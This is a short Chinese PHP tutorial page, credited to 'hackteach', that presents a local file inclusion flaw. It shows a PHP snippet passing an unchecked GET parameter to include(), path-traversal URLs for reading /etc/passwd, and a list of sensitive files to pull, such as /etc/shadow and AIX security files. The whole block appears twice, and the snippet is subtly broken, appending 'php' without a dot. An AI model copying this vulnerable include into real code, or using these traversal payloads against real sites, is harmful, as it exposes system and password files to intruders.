php 偽造本地文件包含漏洞的代碼
更新時間:2011年11月03日 23:33:36 作者:
php 偽造本地文件包含漏洞的代碼,大家一定要注意防范。
代碼:
<?php
$page=$_GET['page'];
include($page.'php');
?>
你可以這樣使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd
獲取更多數(shù)據(jù):
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
來自hackteach
復制代碼 代碼如下:
<?php
$page=$_GET['page'];
include($page.'php');
?>
你可以這樣使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd
獲取更多數(shù)據(jù):
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
來自hackteach
相關文章
php正則提取html圖片(img)src地址與任意屬性的方法
下面小編就為大家?guī)硪黄猵hp正則提取html圖片(img)src地址與任意屬性的方法。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2017-02-02
PHP中使用crypt()實現(xiàn)用戶身份驗證的代碼
在開發(fā)PHP應用中如果不想自己開發(fā)新的加密算法,還可以利用PHP提供的crypt()函數(shù)來完成單向加密功能2012-09-09
PHP函數(shù)checkdnsrr用法詳解(Windows平臺用法)
這篇文章主要介紹了PHP函數(shù)checkdnsrr用法,分析講解了在Windows平臺使用checkdnsrr函數(shù)的方法,需要的朋友可以參考下2016-03-03
PHP生成各種隨機驗證碼的方法總結(jié)【附demo源碼】
這篇文章主要介紹了PHP生成各種隨機驗證碼的方法,結(jié)合具體實例形式總結(jié)分析了php常用的生成驗證碼操作相關技巧,并附帶demo源碼供讀者下載參考,需要的朋友可以參考下2017-06-06
php中mail函數(shù)發(fā)送郵件失敗的解決方法
這篇文章主要介紹了php中mail函數(shù)發(fā)送郵件失敗的解決方法,涉及針對Linux運行平臺相關組件的配置技巧,具有一定的參考借鑒價值,需要的朋友可以參考下2014-12-12

